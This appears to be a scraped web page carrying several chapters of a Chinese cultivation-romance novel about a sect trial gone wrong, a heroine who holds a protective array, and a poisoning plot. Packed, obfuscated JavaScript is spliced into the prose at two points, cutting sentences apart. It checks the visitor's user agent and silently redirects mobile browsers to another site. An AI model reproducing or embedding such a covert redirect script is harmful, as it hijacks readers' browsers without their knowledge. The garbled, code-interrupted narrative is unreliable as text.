$(''.inform'').remove(); $(''#content'').append('' 布阵之人于别处搜集来的怨气与魔息重新释放出来。凡是在阵中的兽类,都会受其影响,变得凶狠残暴,实力也会大增。修士若在阵法中待久了,轻则伤及功体、惑及心神,重则...七窍流血、暴毙而亡。且此阵极为凶险,稍有不慎,布阵者也会遭受反噬。” 一番话说得众人惊惧不已,崔峥急得满头都是汗:“这可如何是好啊!” 不止他一人,所有人都对这种情况始料未及,当下焦急不已地说:“这里头剩下的可都是同辈中的佼佼者,万一折了一个,岂不损失惨重?” “哎呦我的宝贝徒弟,怎么会发生这种事呢!” 沈逍抬手示意众人安静,他定定地注视着殷照道:“殷峰主,可有破阵之法?” “有当然是有,”殷照沉思着说,“但我还需一览全阵来确认一些事。” “好,冯长老,你御剑带殷峰主去秘境上方。此事先不要惊动已出秘境的弟子,其余人随我一同入秘境救人。” 被点到的冯长老踩着剑行来:“殷峰主,上来吧。” “等会儿,容我先做个心理准备。”殷照按着心口做深呼吸。 冯长老:“......” 段凌轩在一旁看不下去,直接把人踹到了剑上:“赶紧的吧你!” “站稳了,殷峰主。”冯长老御剑升空。 “啊啊啊等等等等,我还没准备好啊——”殷照的惨叫声隔着老远仍清楚地传到了众人耳中。 席青如:“......” 崔峥:“......”殷老弟,保重。 正在往上升的冯长老忍无可忍地对身后的殷照道:“殷峰主,在下的裤子快要被你扒下来了。” “啊,是吗,不好意思了冯长老。”蹲在后面的殷照嘿嘿笑了两声,正想松手,不经意间瞥了眼地面,顿时把冯长老的腿抱得更紧了,双眼紧闭,“怎么这么高啊——救命啊——” 天知道他是鼓起了多大的勇气才说出要上来查看的!早知道就先喝点酒了! 冯长老:“......”他也很想喊救命好不好!! 没过多久,两人便稳稳地停在了半空中。冯长老:“殷峰主,到地方了。” 闻言,殷照把眼睛睁开一条缝。在看清整个秘境后,他顿时无暇顾及心中的恐惧了,缓缓松开了抱着冯长老大腿的手。和他预料的不错,情况确实不容乐观。 当局者迷,旁观者清。身在秘境中的人发现不了,但他在空中能清楚地看到那些上泛的黑雾组成的纹样,正是幽炼阵的阵纹。 此时天还未亮,惨白的月光下,怨气与魔息肆意纠缠,几乎覆盖了秘境全境。此情此景,奇诡非常。 冯长老咽了口唾沫:“殷峰主,这...” 殷照心中已有数,他没答话,自掌中蕴出一道灵力向下击去,又不出所料的被秘境的结界挡在外面。 “先回去吧,等他们打开秘境。”他再次紧紧抱住了冯长老的腿,闭着眼睛颤声说:“我准备好了。” 冯长老:“......”这人真的靠谱吗。 26. 护众 两人回去后,却见一众峰主和长老仍在高台之上,且个个神情凝重,不发一言。殷照双腿发软地从剑上走下来,不待站稳就问道:“你们怎么还在这?不是说去救人的吗?” 席青如看他一眼,眸中是深深的忧虑:“秘境,被封死了。” “什么?!”殷照简直怀疑自己耳朵出了问题。 沈逍面色亦是沉重,他解释道:“我方才和几位峰主前去打开秘境,却见秘境入口处的六角晶石被毁了。” 秘境与外部世界全靠六角晶石相连,一旦晶石被毁,就意味着秘境无法再被自由打开,弟子通过令牌与外界产生的连接也会断掉。 沈逍继续说:“守在晶石旁的两位长老俱是重伤昏迷,眼下正由贺峰主救治。” 殷照更惊:“怎会,那两位长老修为都不低啊。” 段凌轩抱着双臂,接道:“我们在二位长老的伤处探查到了魔息,此事应是魔族所为,但事情究竟如何还要等他们醒来再问了。” 崔峥愤愤道:“该死的魔族!当初就该把他们全都赶尽杀绝!” 沈逍按了按额角:“眼下这般情况,只有等第二日黄昏秘境自动打开了。殷峰主,你方才上去可有何发现?” “是幽炼阵没错,但阵法有几处被改动过了。”殷照沉声说,“寻常的幽炼阵中,人在里面死了就是死了。但秘境中此阵经这么一改,会吸收死去修士的灵力,并将之移到布阵者身上,促进布阵者修为的提高。” 众长老和峰主交换着视线,在几息的沉默后,纷纷不可置信地出声道:“天底下竟还有如此邪性的阵法!” “我就说这布阵之人缘何要做这等吃力不讨好的事,原来还有这出。” “这不是明摆着冲我们玄晖宗来的吗!” 沈逍显然也想到了这点,神色晦暗不明。他又问殷照道::“殷峰主,如何破阵?” “只有一个办法,就是布下反阵,使两阵相抵。但秘境不开,就是布了反阵也无济于事,影响不了秘境中的幽炼阵。” 席青如明白了:“那还是只能等。” 人群再度骚动起来:“我的宝贝徒弟还在里面啊!” “我那大弟子天赋那么高,可千万不能出事啊!” “那些个魔兽和妖兽如此凶残,他们真的能撑住吗...” 忧惧的情绪潮水般淹没了众人,他们修为俱是不低,却头一次感到这般无力。可哪怕再担心再害怕,他们也只能如沈逍所言——等下去,等到秘境打开。其余什么也做不了。 段凌轩拍了拍最后出言的那长老的肩膀:“文长老,我们现在只有去相信这些晚辈。” “是啊,能留到现在,实力定然都不弱。”席青如已慢慢平静了下来,“诸位都是做师尊的人了,慌慌张张成什么样子,看看人殷峰主多冷静。” 见殷照光站着不搭话,席青如用手戳了戳他道:“是吧,殷峰主?” 结果这一戳就像是触动了什么奇怪的开关,殷照猛地伸出手,晃着她的肩喊道:“怎么办啊啊啊,我一共就四个徒弟,全在里面了!我那四个年轻有为的乖徒啊!出了事要为师怎么活啊!!” 崔峥上前把席青如解救了出来:“那啥,殷老弟,我看席妹子快吐了。” 结果殷照又转而晃他来了,可崔峥的身形就像小山一样,他晃了半天愣是没晃动,更崩溃了,“啊啊啊啊啊——” 虽然秘境被封了,但其中的留影符不受影响,影像中的画面仍在继续。一名长老立在那众多影像前,忽然对殷照道:“殷峰主,这是你小徒弟吧?” 殷照顿时顾不上晃崔峥了,扑过来道:“哪呢哪呢,我看看!” - 秘境之中,杜昱在魔狼密集的攻势下掩护着梁惜因走到空地处。梁惜因催动手中阵盘,霎时间金光流转,阵纹浮动。阵纹相接后,地上凭空升起一个金色护罩,照破了这浓得化不开的夜色,也阻隔了自地面上泛的黑气。 梁惜因收好阵盘,对杜昱及其余人招手道:“快进来!” 杜昱挥剑将一头魔狼刺穿,一面继续与剩下的魔狼缠斗,一面催促众人进阵。在确保所有人都入阵后,他才最后一个踏入了金光中。 梁惜因坐在阵中维系着阵法,按一定规律将灵力注入进不同的阵纹中。见杜昱进来后,她松了一口气,旋即又惊道:“杜师兄,你受伤了!” “无事,小问题。”杜昱走到她身边坐下,一股浓郁的血腥气扑面而来。 梁惜因看着他身上巨大的抓痕,皱眉说:“这怎么还能叫无事。”她本想叫苏柚来,但方才迎战的人伤势俱是不轻,十几个人中就她一个医修,此刻正忙得团团转。 杜昱也看到了,轻笑一声说:“让她先忙吧,我这也不严重。” “唉,你...好吧。”梁惜因叹了一声。 “你这阵能维持多久?”杜昱有些新奇地看着地上的阵纹。 “应是能撑一段时间,我体内灵力基本没怎么用。也不知师尊他们什么时候来。” “管他呢,大不了就冲出去和它们决一死战,反正至多明天下午秘境就开了。” 见护罩破坏不了,那些魔狼不甘地在外面徘徊着,喉咙里发出威胁的低吼声。苏柚终于忙到了杜昱这来,在给他处理伤口的同时对梁惜因说:“此番还要多谢梁师妹了。” 梁惜因笑道:“何必言谢,不过是做些力所能及之事罢了。你们也都受累了,快去睡会吧,这里有我守着。” 苏柚扫了眼阵外的狼群,苦笑着摇了摇头:“这谁还能睡得下啊。” 伤口都处理好后,阵中陷入了短暂的静默。杜昱四下张望了番,对身边的梁惜因说:“你说我当初是不是就该让你把我的令牌摸走。” 梁惜因半开玩笑地回道:“是啊,我那时就不该心慈手软。” 杜昱笑了几声,看向腹部的伤口:“还是留下来比较好,不然出去后怎么跟他们吹牛?” 梁惜因:“......”她有时候是真的不太能理解剑修的脑回路。 “前面有人吗!救命啊!”一道呼救声传来,杜昱提剑起身,走到阵边密切观察着外面的动静。 喊话的那人手中符纸翻飞,一张接着一张往身后抛。他身边还跟着不少人,一齐往护罩处跑着。这些人刚到阵前,那些早已按捺不住的魔狼顿时扑了过去。 那符修直接傻眼了:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“我也问了,”杜昱扬起唇角,“他说他本是打算去的,结果半路遇上一头酸与追着他跑。他慌不择路地四处乱撞,等好不容易将那酸与甩掉了,自己也在林中迷了路。” “那他运气不错,又遇到一个阵。”梁惜因弯唇想笑,眼前却忽然一黑,大脑也嗡鸣起来。 杜昱见她神色不对,忙把苏柚找了过来。苏柚见状,立马往她嘴中塞了颗纯白的丹药。 丹药清清凉凉,入口即化,梁惜因顿觉好受不少。再一定睛,就见苏柚两指搭在她的脉间,正担忧地注视着她:“梁师妹,你体内灵力已所剩无几了,千万别硬撑啊。” 她每隔一段时间就来给梁惜因喂一颗聚灵丹,但补充的灵力远远赶不上她消耗的灵力,只能不断缩短用丹的时间间隔。 梁惜因面色苍白,挤出一个笑容道:“无事,我还能再撑一会,多谢苏师姐的丹药了。”她侧头看向护罩外,随着阵中修士的增多,候在外头的各类妖兽和魔兽也愈来愈多。倒也难为它们彼此之间能和平相处。 它们知道破坏不了这护罩,又不愿离开,便全都守在附近,只等阵法一破就立即攻上来。不知是不是她的错觉,梁惜因总觉这些兽类眼中的红光更凶了些,戾气也更重了。 27. 脱困 苏柚托着腮,满面愁容:“要是我能替梁师妹该多好,可惜修的类型不同,灵力也不能互相传递。” “苏师姐的这份心我收到了。”梁惜因笑道。 杜昱抱着剑踱来踱去,忽然开口说:“我们这么多人,为何不能一道冲出去和它们拼个你死我活?” 江映和举起手附和道:“对啊我也想说,还真怕了它们不成?” 苏柚白了他们二人一眼:“忘了你们身上的伤了?还是我给你们治的。” “这点小伤,不碍事!”杜昱活动着全身关节,“我只恨不能亲自去灭了它们的威风。” 一名女修闻言说:“出去太危险了。别看这有这么多人,大部分人都负着伤,灵力也消耗得差不多了。你再看看外头那些妖兽和魔兽,这一点胜算都没有啊,何必要去白白送死?”啊,剑修这可怕的战意。 一番话说得杜昱冷静了些许,他重新坐回地上,愤懑地用拳头锤了下地面,仍觉憋屈得不行:“难道真就什么也做不了?” 有人劝他说:“算了杜师弟,再过半天秘境开了就能出去了。”话中显然已不对师尊能来抱希望了。 杜昱又对梁惜因说:“梁师妹,还有半日,你要是坚持不下去千万要说出来,我们定会护你周全。” 阵中人疗伤的疗伤,打坐的打坐,没人有闲心去聊天,只有阵外的兽类持续发出不满的低吼声。 梁惜因从没觉得时间这么慢过。她双眸紧闭,身体以极小幅度颤抖着,努力不让旁人发觉异样。阵中诸人无不在想办法帮她,什么回灵曲,固灵符全都用上了,但依旧只是杯水车薪。 不知又过了多久,梁惜因紧咬牙关,只觉全身筋脉乃至心口都在钝钝地发痛。而在这种时刻,她脑中想起的却是重霄。也不知回去修养要多长时日,还能不能赶在一旬后去看他... 眼前一片漆黑,耳边的呼喊声像是从很远的地方传来,“秘境开了!” “我看到师尊他们了!” “得救了!我们得救了!” 梁惜因费力地理解着这些词句的意思。得救了...?她浑身松懈下来,一抹鲜红自喉中涌出。在失去意识前,她看到金红的阳光在飞速瓦解的护罩上折射出耀目的光芒,仿佛即将到来的不是黑夜,而是黎明。 - 意识一团混沌,梁惜因在昏沉间感觉有人将手放在了自己脸上,冰冰凉凉的,倒也不令人厌烦。不知昏睡了多久,她终于觉得恢复了些力气。再一睁眼,她就发现自己躺在熟悉的天璇峰卧房中,窗外月色正明。 床边似是坐着一个人。梁惜因侧头看去,就见重霄注视着她,本来担忧的面容在看见她醒来后露出几分欣喜:“姐姐,你醒了?” 梁惜因:“......” 她揉了揉眼睛,不确定地喊了声:“阿霄?” “是我。姐姐身上可还有不适?”重霄关切问道。 梁惜因猛地从床上坐起:“不是,你怎么进来的,玄晖宗不给外人进的。你有没有被发现?师尊他们呢?”结果这一下动作太大,一阵刺痛自后脑处传来,令她不禁皱起了眉。 重霄握住她的手,指尖貌似不经意地搭在了她腕间脉搏处:“姐姐放心,我一路隐蔽身形,未被任何人发现。殷峰主有事在忙,谢公子他们在白日里轮流探望姐姐,眼下才回去不久。” 梁惜因松了口气:“那便好。” 重霄神情依旧凝重,嗓音发涩地说:“倒是姐姐,与我来信说要参加试炼,结果却是灵力尽失,乃至伤及筋脉和功体,一连昏迷了三日才醒。” 三日,都过去这么久了吗... “可是阿霄,你是怎么知道这事的?”她问。 重霄没答,而是说:“姐姐莫非还想瞒着我?” 梁惜因顿时心虚起来,她先前确实是这样想的没错。 重霄轻叹一声,将她揽入怀中,一手按在她的背上,一手轻抚着她的后脑:“姐姐,本来我就没能一直在你身边护着你。若是这时候还被蒙在鼓中,什么都不做,那我只会更加难受。” “好啦,阿霄已经做得很好了。”梁惜因有些过意不去,轻拍着他的后背。 “那姐姐答应我,以后发生任何事都不要再想着瞒我。” “好好好,肯定第一时间告诉阿霄。” 重霄这才慢慢把她松开:“只是姐姐这下怕是要修养许久才能好了。” “无妨,总归是有好起来的那日不是吗?”梁惜因看得很开,她当时在秘境中只想着要撑下去,其他的根本顾不上。眼下这结果已比她预想中的要好多了。 她还想着再问一问宗内情况,只是精力不济,才说了这么一会话就又困倦起来。重霄注意到了,又扶着她重新躺下:“姐姐再睡会吧,其他事先不用管。” “不要,这都已经睡了三日了...”梁惜因嘴里嘟囔着,眼睫却是不受控制地合上了 她恍惚间意识到,自己这般容易困乏,身体损耗过度是一回事。更多的则是因为她在看到重霄后,感受到一种前所未有的心安,精神也随之完全放松下来。 重霄唇边溢出笑意:“姐姐,好梦。” 他坐在床边,借着月光细细勾勒着梁惜因的容颜,仿佛怎么都看不够一般。直到第二日清晨,门外响起脚步声,他才很是不舍地翻窗离去。 燕明昭在门外说:“也不知师妹今日能不能醒。” 谢淳回道:“照贺峰主此前所言,应该就是这两日了。” 梁惜因睡得并不沉,听到动静后就睁开了眼。 阿霄他...已经离开了啊。不知是失落还是什么情绪,就这么突如其来地压在了心头。 刚走进来的燕明昭惊呼一声,顺手掐了下谢淳的胳膊,见谢淳面目扭曲,才惊喜地道:“不是做梦,师妹真的醒了!” 谢淳捂着胳膊,想笑也笑不出来:“是啊,小师妹醒了。” 两人几步走到梁惜因床前,燕明昭往床边一坐,突然意识到自己表现得太过高兴,又有些别扭起来,偏过头说:“你怎么才醒,知道整座天璇峰有多担心你吗?” 梁惜因笑着坐起:“想来其中最担心我的还是师姐。” 燕明昭脸一红:“我才没有!” 谢淳不远不近地站在一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14393221|152851||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 旁,温声说:“师妹这些时日还需多加静养,不宜运功和布阵。” 梁惜因点头:“好,多谢大师兄。” 燕明昭从袖中取出一个瓷瓶递给她:“这是玉衡峰送来的药,这三日一直都是我喂...哎呀,反正你记着一天吃一枚就是了!” 梁惜因将药接过,放在了床边的小几上,忍着笑说:“多谢师姐了。” “我去将此事告知师尊和师弟。”谢淳说完就先离开了。 “是了,怎么不见二师兄?”梁惜因也意识到了这一点。 “他受伤了,还没好全,是我们让他少过来的。” “伤得很重吗?”梁惜因微微蹙眉。 “也不是,到时候你见到他就知道了。他是为了保护我才...”燕明昭的神色有些许不自然,“那日进入秘境后不久,我就遇到了他,便一起行动。到了夜里魔兽暴动,我和他、还有些同行的人好不容易才甩掉了身后追着的几只魔兽。结果我就是在那时松懈下来,没有注意到草中的琴虫。” “琴虫?我记得它毒性不浅。”梁惜因惊道。 “对,而且在魔息的影响下凶猛异常。师弟他在关键那刻把我拉开了,自己腿上却被咬了一块肉下来。”燕明昭知道她要问什么,又说:“还好遇到了带有解毒丹的医修,帮他抑制了毒性。师弟现在除了腿上的伤外已是无恙了。” “如此便好。”梁惜因放下心来,“那日我是想去找你们的,但没找到。还想着你们是不是已经出了秘境。” “我原也是想先找你来着。”燕明昭继续向她讲诉着那日的情形。 柳甫畅中毒昏迷后,她和另几人应付不来接连不断的兽类,便就地布下金光护体阵。阵布好后没多久,谢淳也随着人群寻了过来。此后的一天中,入阵的人越来越多,她便和谢淳轮换着坐在阵中维系阵法。 秘境中的人有一多半在他们那,剩下的则在梁惜因那。到了黄昏之时,秘境自动打开,峰主和长老们击退了候在阵外的兽类,各自把弟子带了回去。万幸的是他们这些人虽然基本上都受了伤,却无人死亡。 之后冯长老御剑把殷照带到了秘境正上方。殷照在空中哆哆嗦嗦地布下了反阵,把幽炼阵给破了。 说到这,燕明昭又把幽炼阵的相关事宜说与她听。梁惜因眉头越皱越紧:“难怪,也只有邪阵能产生这种效果了。” “不过师妹你是怎么做到的啊,一个人将整个阵法维系了一天。我和师兄起码是两人轮着来的,出来后也一直在修养。”燕明昭好奇地道。 “这...”梁惜因也说不清楚,“可能是危急关头爆发出的潜力吧。” 彼时她也多次认为自己要撑不下去了,灵力几要枯竭。可事实是她当真撑到了秘境打开之时。现在想想,她自己都觉着有几分不可思议。 “原来如此。”燕明昭很快接受了这个说法,并未再多问。她想了想又道:“这种潜力还是少出现为好,你看你都伤成什么样了。” 梁惜因挽着她的手臂:“是,多谢师姐关心!” 燕明昭面色更红,差点直接站起身:“谁说我在关心你了!” 28. 奖品 殷照独自坐在屋内,思索着前一日的集议。 集议在天枢峰召开,主要针对的便是此次秘境试炼中发生的意外。 那日守在六角晶石旁的两位长老早已醒来,出言说袭击他们的魔族身着斗篷,看不清面容。但能看出他身形并不高大,甚至有些瘦弱。且那人修为高深,一句话都未多说,直接幻化出数十道虚影随他一同战斗。他们虽也伤了那魔族,但终是应付不暇,重伤倒地。 说话的长老面色还有些虚弱:“我一直在想,这会不会是漆吴山的那位。” 段凌轩听着他的讲诉,凝重地点头说:“是闻影,魔尊重霄座下的第一走狗。魔族中只有他一人会使幻身咒,我曾在仙魔大战中亲眼见到过。” 崔峥挠头,惑然道:“可那家伙不是被封在漆吴山封了两百多年吗?” 沈逍双眉紧拧:“只怕是封山大阵出了问题。” 此言一出,满座皆惊。 “怎会,那阵不是重霄死前亲自布下的吗?” “是又如何,重霄都死了这么多年了,谁能保证他布的阵就一定不会出纰漏?” “闻影逃出山了,那山中的其他魔族呢?这些年来的太平会不会又将...” 众人观点各异,殷照开口说:“这件事很有可能还是人为。”他说起了乐楼中的缚灵阵,“我原想先自己调查下去,不过现在看来这两件事关联颇深,幕后之人极有可能是同一个。” 有长老不解:“可是他为何要这么做?” 席青如沉吟着道:“风险越大,所得越多。若是有弟子在秘境中死亡,能吸收他们的修为是一回事,最重要的是玄晖宗一定不会善罢甘休,必定会更加痛恨魔族。且一旦挑起了仙门和魔族的又一次大战,他只需再布下同样的邪阵,就能在极短的时间内获取本该修炼数百年乃至上千年才能有的修为。” 崔峥感慨出声:“我滴个天,这人野心咋这么大呢!” 有长老焦急地说:“这下该怎么办,这么危险的人还没找出来,魔族又出逃了,天下不会又要大乱了吧?” 沈逍从方才起就紧拧眉心,这时说道:“事关重大,这并非为玄晖宗一家之事,还需在告知其余众仙门后另行商议。” 集议结束后,沈逍让长老们先行回去,将几位峰主留了下来。他环视了遍在场几人,沉声说:“你们应该也猜出来我要说何事了。” 崔峥一脸茫然:“啥?” 殷照颇为无语地看了他一眼,肃容道:“玄晖宗内,出了内鬼。” 沈逍应声:“不错,否则无法解释幕后之人为何会知晓试炼地点,并提前布下幽炼阵。要么他本就是宗内的人,要么是有人与他通风报信。” 崔峥大惊:“咋还有这种事呢!这也太可怕了。” 席青如忍不住从背后拧了他一下,崔峥反应过来,当即保证道:“沈峰主放心,我绝不会将此事到处乱说,定会全力配合宗门揪出内鬼!” 沈逍不动声色地观察着几人的神色,却并未发现异样:“我自是相信崔峰主所言。宗内应有其他人也察觉到了内鬼一事。我只希望在座的几位身为峰主,能在尽量不引人注意的前提下观察峰内诸人的动静,一有情况便立即告知于我。” 在几人准备离去之时,沈逍又叫住了从始至终都不发一言的贺千遮,“这几日辛苦贺峰主了。”他道。 贺千遮身形微不可察地一顿,随后淡笑道:“沈峰主言重了,治疗伤者本就是玉衡峰的分内之事。” 主殿外,段凌轩和殷照并肩走着,他状似不经意地说:“殷峰主,你那小徒弟当真是天赋异禀,仅凭一人就护下了那么多弟子。” “是啊,我起初也没想到她能坚持下去。”殷照慨叹道。 那日在高台上,所有人都围在了两面影像之前。影像中的场景不同,却都有一金色护罩位于其中。殷照屏息凝神,双拳紧紧握着,额上不知何时渗出了细细密密的汗珠。别的峰主和长老或许不知道,但他再清楚不过自家这几个徒儿的能耐。望着影像中梁惜因苍白的面容,殷照只恨自己这个师尊在此时什么也做不了。 “殷峰主难道不觉此事有些不可思议吗?天赋再如何好,她也只是一个刚入宗门没多久的阵修。”段凌轩凝视着他道。 殷照不以为意地笑了两声:“段峰主有话不妨直说。” 段凌轩没笑,郑重其事地说:“若是含盈仙子,那便不奇怪了。” “段峰主,我说了这不可能。”殷照叹了一声,拍了拍他的肩。 段凌轩不为所动,神情认真:“一件事还可以说是巧合,可如今魔族也有了异动,如此多的巧合加在一起,还能说是巧合吗?” “你莫不是想说魔尊重霄也复活了?”殷照揶揄道。 怎知段凌轩思索须臾,竟点头道:“也不是没可能。” 殷照:“......” “哈哈哈哈段峰主你这想象力,”殷照大笑,一脚踏进刚布下的缩地阵中,摆手道:“不和你说了,我要回去看我的乖徒了。” “我认真的!”段凌轩对他已然消失的背影大喊,“还有你就不能捎我一程吗!”开阳峰那么远,他不想自己走回去啊! - “师尊。”谢淳在外面的叩门声敲断了殷照的思绪。 “何事?”他问。 谢淳推门进来,笑道:“小师妹醒了。” “当真?”还没待谢淳回话,他就已经风风火火地布阵来了梁惜因的院落,“乖徒,你醒啦!” 梁惜因想起身,被殷照制止了。她便坐在床上说:“弟子见过师尊。” “诶好好好,醒了就好,醒了就好,接下来可要仔细修养着。”说着,他从袖中掏出一木匣递给梁惜因,扬声说:“差点都忘了,这是给我们秘境试炼第一名的。” “什么第一名?”梁惜因打开木匣,只见里头躺着一株极富灵力的仙草,银色的叶片宛如一只栩栩如生的飞燕。 她惊道:“银燕草?!”还真是草如其名啊。 燕明昭下巴微扬:“正是。众峰主和长老经过商议,无不认为你是实至名归的第一名。” 巨大的惊喜面前,梁惜因还有些不敢相信,愣愣道:“不是说按元珠数量进行排名吗...” “那早就不重要了,”殷照在椅子上坐下,“乖徒你千万别有负担,我们在影像中全都看到了。这本就是你护下了那么多人应得的。” “是啊师妹,岂止是这银燕草,此次准备的前三名奖品全都送到我们天璇峰来了。”燕明昭抱着双臂,面带骄色。 事实证明,阵修获得试炼第一名的可能性极小,但绝不为零。 作为师尊的殷照在拿完奖品后还不满意,质问那负责的长老:他有四个弟子,为什么只给三样奖品? 负责的长老一脸莫 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燕明昭错开她的视线:“怎么,他救了我一次,难道本小姐还比不上一块破玉吗?” 破玉...师姐你光是这两个字就够得罪修仙界绝大部分人了。 柳甫畅就算坐在轮椅上也不忘摇着他那把扇子,得寸进尺道:“诶,真不知道师姐原来对我这么关心。” 燕明昭跺了跺脚,气道:“我就不该把它给你!”只是她面上的那抹绯红却让这话显得没有一丝可信度。 几人聚在一起,给梁惜因这处不大的院落添了不少热闹。直到如水的夜色来临,沐浴完的梁惜因坐在凳上擦着长发,回想起白日里的笑语,仍忍不住露出浅淡的笑意来。 一双冰冷的手从她那儿取过手巾,替她细细擦拭着半干的头发。 梁惜因先是一惊,很快又放松下来。往后一仰头,展颜笑道:“阿霄。” 重霄眉目温柔:“姐姐,今日可有好一些?” “好多了,阿霄,我和你说...”她将今日之事一一与他说着,重霄则全程含笑听着,不时也简单说上一两句。此情此景,让梁惜因感觉仿佛又回到了梁府的那间小院。 手巾被施了术法,长发很快就被擦干了。重霄将手巾挂好,目光无意中扫到了床头小几上的瓷瓶。 他走过去将瓷瓶拿起:“姐姐,这是何物?” “是玉衡峰送来的药。阿霄你倒是提醒我了,我今日还没吃呢。”她伸手想去拿那瓷瓶,怎料重霄加大了手上的力道,没让她拿动。 “阿霄?”她疑惑出声。 重霄从瓷瓶中取出一枚药丸,指尖凝出几缕怨气,将那药丸包裹着。他默了片刻,沉着脸问道:“姐姐确定这药是玉衡峰送来的?” “对,师姐亲手交与我的,我昏睡时就已吃了三枚了。怎么了吗?”她心中隐隐有些不安。 重霄冷笑一声,飘散着的怨气骤然侵入药丸,将之化为了粉末。“这药有毒,姐姐本就筋脉受损,若长期服用下去,筋脉将彻底废掉,姐姐也会因难以承受体内毒素而...” 他没有说完,但梁惜因已然明白了。她第一次在重霄面上看到如此冷峻的神色,一如山雨骤起前的滚滚浓云。梁惜因顾不上心中的惊惧,先抬手抚平了他紧皱的眉头:“别生气,我这不是还好好的嘛,多亏了有我们阿霄在。” 29. 闻影 重霄回望着她,眼中翻涌的愤怒渐渐消了下去。他顺势牵住梁惜因的手,放到唇边落下了一个极轻的吻,“姐姐,别再出事了。” 梁惜因浑身一激灵,迅速缩回了手。然而缩完就后悔了。自己的反应会不会太大了点啊...吻手而已啊有什么大不了的,亏你还是个现代人!! 心乱如麻,梁惜因偏过头去,自然也没发现重霄目光中那深深的眷恋与恐惧。 她简直不知这两只手要怎么放才好,急忙把思绪调回到正事上来:“这药我已吃了三日,会有事吗?” 重霄似是极低地笑了一声:“不会,姐姐放心,我此前已用怨气将姐姐体内毒素逼出。” 这么神奇?梁惜因忍不住赞他道:“阿霄好生厉害。” 重霄垂眸:“若非我一开始大意了,姐姐也不会...” 梁惜因连忙把手覆在他唇上:“不许再这么说了,阿霄已经做得很好很好了。”结果因动作太快,她的掌心直接触到了重霄柔软的双唇。 眼见重霄弯起双眼,梁惜因慌忙把手收回,脸颊一阵阵地发烫。 “可这药是玉衡峰制的,不应该啊...”还是正题要紧,正题要紧。 “玄晖宗有内鬼,姐姐知道吧?” 梁惜因点头:“我猜到了,可我想的是他为什么要来害我?” 重霄冷哼一声,眸光冰冷:“无非是觉得天璇峰坏了他的大事。姐姐受伤最重,最易下手,这毒又极为隐蔽,就算有人来查,也只会认定这是姐姐损耗过度的后遗症。届时天璇峰乃至玄晖宗只会更加痛恨魔族。” 最初的惊诧退去后,梁惜因沉思片刻,正色道:“我明日会将此事告知师尊,日后也要多留意些玉衡峰。” “不过现在先不管这些,”梁惜因牵着他的衣袖走到院外,“我还没带你仔细看过我在宗内的住处。” “这是屋后的竹林,很适合练习布阵,我还在这种了不少灵植...”走着走着,梁惜因突然停了下来,有些懊丧地说:“好像也没什么可看的...可惜不能带你看遍整个天璇峰,那样风险太大了。” 眼下虽已到了夏初,但晚间的风依旧带着些许寒意。重霄侧着身子帮她挡风,温声说:“无妨,能看到这些已然足够了。” 梁惜因重又露出笑意,问他道:“阿霄,那你要走了吗?” 重霄不答反问:“姐姐不想我走?” “嗯。”梁惜因下意识答道,很快又反应过来,险些咬到舌头,“也不是,而且我这也没地方给你睡,还容易被发现。”她飞速找补道,心脏剧烈跳动着。 “好,那我等姐姐睡熟了再走。”重霄喉间逸出笑声。 梁惜因自是答应,拉着他回屋又说了好一会话,直到实在困得撑不住了才上床休息。 重霄替她捻好被角,低声道:“姐姐,晚安。” 见梁惜因的呼吸渐渐平稳,他才翻窗而出,独自向天璇峰的东侧走去,最终停在了一处落满梨花的院落前,无言而立良久。 几片梨花飘散着落在他身上,像是寒凉的雪。 直到熹微的曙色照亮天际,他才转身离去,回到了陵州城的院落。 甫一进门,就有一道身影飞速扑了上来。但重霄动作更快,把门关上后往旁轻轻一闪,就让那道身影直愣愣地撞在了门上。 重霄低头看了看门,面无表情道:“撞坏了记得赔钱。” 那身影:“......”他看起来只是个半大少年,个子不高且身板很瘦,一双眼中的戾气却极深。正是那日重伤了两位长老的魔族——闻影。 几日前,重霄在察觉梁惜因遇险后便匆忙布阵前往寒林秘境,然而彼时六角晶石已毁,任何人都无法进入秘境。他原以为要无功而返了,但那两名长老伤口处的魔息却令他有种熟悉感。 他循着魔息追了过去,不出所料地撞见了闻影。 而闻影在见到他后,第一反应是无比愤怒地想要杀了他。在被暴揍了一顿后,才终于相信他不是什么冒牌货,抱着他的大腿痛哭流涕。 重霄没法,只得先把人带了回来。他并不认为闻影能有心策划这一切。果然,回去后他很快发现闻影不能说话了,且只要一问他是受何人指使,闻影便会抱住头,痛苦非常。 这种种表现都指向了一种传闻中的邪术——蚀骨忠。中术之人无法说话,无法做出任何背判施术者的举动,否则就会头痛欲裂,浑身受蚀骨之痛。中术者不能离施术者太远,施术者也能随时结束中术者的性命。 除此之外,蚀骨忠之所以被当作邪术,也是因为它对施术者的损耗极高。施术者需以自身的血作为连接他与中术者的媒介,术成后还要用自己的修为乃至命力来维系法术。 看来这幕后之人不仅是为实现野心不择手段,眼光也不错。闻影修为极高,心狠手辣,还有个魔族的身份在,确实是个再合适不过的施术人选。 只要他驱使闻影去杀人,人们也只会以为是魔族作乱。反正魔族的名声已经够差了,做出什么都不奇怪,再差一些又何妨呢? 蚀骨忠没有破解之法,除非施术者死亡。重霄目前也只能用怨气护住闻影的筋脉,以此减轻邪术对他的控制。 他在前日还去了趟漆吴山,闻影能出来,定是封山大阵出了问题。到达后,他果在阵上发现了一较为薄弱之处,应是不久前被人暴力破开过。能破开他的阵法,此等修为,在当今修仙界中可谓屈指可数。可即便如此,也无法与重霄的实力相比,这缺口没过多久便自动合上了。 